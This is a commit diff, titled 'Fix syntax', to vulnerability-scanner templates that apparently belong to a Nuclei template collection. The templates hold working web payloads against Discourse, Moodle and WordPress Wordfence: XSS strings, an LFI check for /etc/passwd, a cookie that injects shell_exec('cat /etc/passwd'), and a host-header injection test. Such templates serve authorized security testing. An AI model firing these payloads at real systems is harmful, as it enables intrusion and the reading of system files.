Fix syntax
parent
a6b993ccbd
commit
4404138e70
|
@ -16,7 +16,7 @@ requests:
|
||||||
matchers:
|
matchers:
|
||||||
- type: word
|
- type: word
|
||||||
words:
|
words:
|
||||||
- '<H1>OK</H1>'
|
- "<H1>OK</H1>"
|
||||||
part: body
|
part: body
|
||||||
- type: status
|
- type: status
|
||||||
status:
|
status:
|
||||||
|
|
|
@ -3,17 +3,17 @@ id: Discourse XSS
|
||||||
info:
|
info:
|
||||||
name: Discourse CMS XSS
|
name: Discourse CMS XSS
|
||||||
author: madrobot
|
author: madrobot
|
||||||
severity: medium
|
severity: medium
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\"><svg/onload=alert(1337)>"
|
- '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\"><svg/onload=alert(1337)>'
|
||||||
matchers:
|
matchers:
|
||||||
- type: status
|
- type: status
|
||||||
status:
|
status:
|
||||||
- 200
|
- 200
|
||||||
- type: word
|
- type: word
|
||||||
words:
|
words:
|
||||||
- "<svg/onload=alert(1337)>"
|
- "<svg/onload=alert(1337)>"
|
||||||
part: body
|
part: body
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
id: moodle-filter-jmol-lfi
|
id: moodle-filter-jmol-lfi
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: Moodle filter_jmol LFI
|
name: Moodle filter_jmol LFI
|
||||||
author: madrobot
|
author: madrobot
|
||||||
|
@ -11,8 +12,8 @@ requests:
|
||||||
matchers:
|
matchers:
|
||||||
- type: status
|
- type: status
|
||||||
status:
|
status:
|
||||||
- 200
|
- 200
|
||||||
- type: regex
|
- type: regex
|
||||||
regex:
|
regex:
|
||||||
- "root:[x*]:0:0:"
|
- "root:[x*]:0:0:"
|
||||||
part: body
|
part: body
|
||||||
|
|
|
@ -3,7 +3,7 @@ id: moodle-filter-jmol-xss
|
||||||
info:
|
info:
|
||||||
name: Moodle filter_jmol XSS
|
name: Moodle filter_jmol XSS
|
||||||
author: madrobot
|
author: madrobot
|
||||||
severity: medium
|
severity: medium
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
|
@ -12,8 +12,8 @@ requests:
|
||||||
matchers:
|
matchers:
|
||||||
- type: status
|
- type: status
|
||||||
status:
|
status:
|
||||||
- 200
|
- 200
|
||||||
- type: word
|
- type: word
|
||||||
words:
|
words:
|
||||||
- "\"};alert(1337);//"
|
- '\"};alert(1337);//'
|
||||||
part: body
|
part: body
|
||||||
|
|
|
@ -1,12 +1,10 @@
|
||||||
id: open-redirect
|
id: open-redirect
|
||||||
|
|
||||||
info:
|
info:
|
||||||
|
|
||||||
name: Open Redirect Detection
|
name: Open Redirect Detection
|
||||||
|
|
||||||
author: Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
|
author: Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
|
||||||
|
severity: low
|
||||||
|
|
||||||
severity: Low
|
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
|
|
||||||
|
|
|
@ -10,12 +10,12 @@ requests:
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/"
|
- "{{BaseURL}}/"
|
||||||
headers:
|
headers:
|
||||||
Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
|
Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
|
||||||
matchers:
|
matchers:
|
||||||
- type: status
|
- type: status
|
||||||
status:
|
status:
|
||||||
- 200
|
- 200
|
||||||
- type: regex
|
- type: regex
|
||||||
regex:
|
regex:
|
||||||
- "root:[x*]:0:0:"
|
- "root:[x*]:0:0:"
|
||||||
part: body
|
part: body
|
||||||
|
|
|
@ -12,5 +12,5 @@ requests:
|
||||||
matchers:
|
matchers:
|
||||||
- type: word
|
- type: word
|
||||||
words:
|
words:
|
||||||
- "DB_NAME"
|
- "DB_NAME"
|
||||||
part: body
|
part: body
|
||||||
|
|
|
@ -3,7 +3,7 @@ id: wordpress-wordfence-xss
|
||||||
info:
|
info:
|
||||||
name: WordPress Wordfence 7.4.6 Cross Site Scripting
|
name: WordPress Wordfence 7.4.6 Cross Site Scripting
|
||||||
author: madrobot
|
author: madrobot
|
||||||
severity: medium
|
severity: medium
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
|
@ -12,5 +12,5 @@ requests:
|
||||||
matchers:
|
matchers:
|
||||||
- type: word
|
- type: word
|
||||||
words:
|
words:
|
||||||
- "<svg/onload=alert(1337)>"
|
- "<svg/onload=alert(1337)>"
|
||||||
part: body
|
part: body
|
||||||
|
|
|
@ -9,7 +9,7 @@ requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
# Example of sending some headers to the servers
|
# Example of sending some headers to the servers
|
||||||
headers:
|
headers:
|
||||||
# md5 hash of melbadry9
|
# MD5 hash of melbadry9
|
||||||
X-Forwarded-Host: "0021e78f48fe6525798294b7711c6f72.com"
|
X-Forwarded-Host: "0021e78f48fe6525798294b7711c6f72.com"
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/"
|
- "{{BaseURL}}/"
|
||||||
|
|
Loading…
Reference in New Issue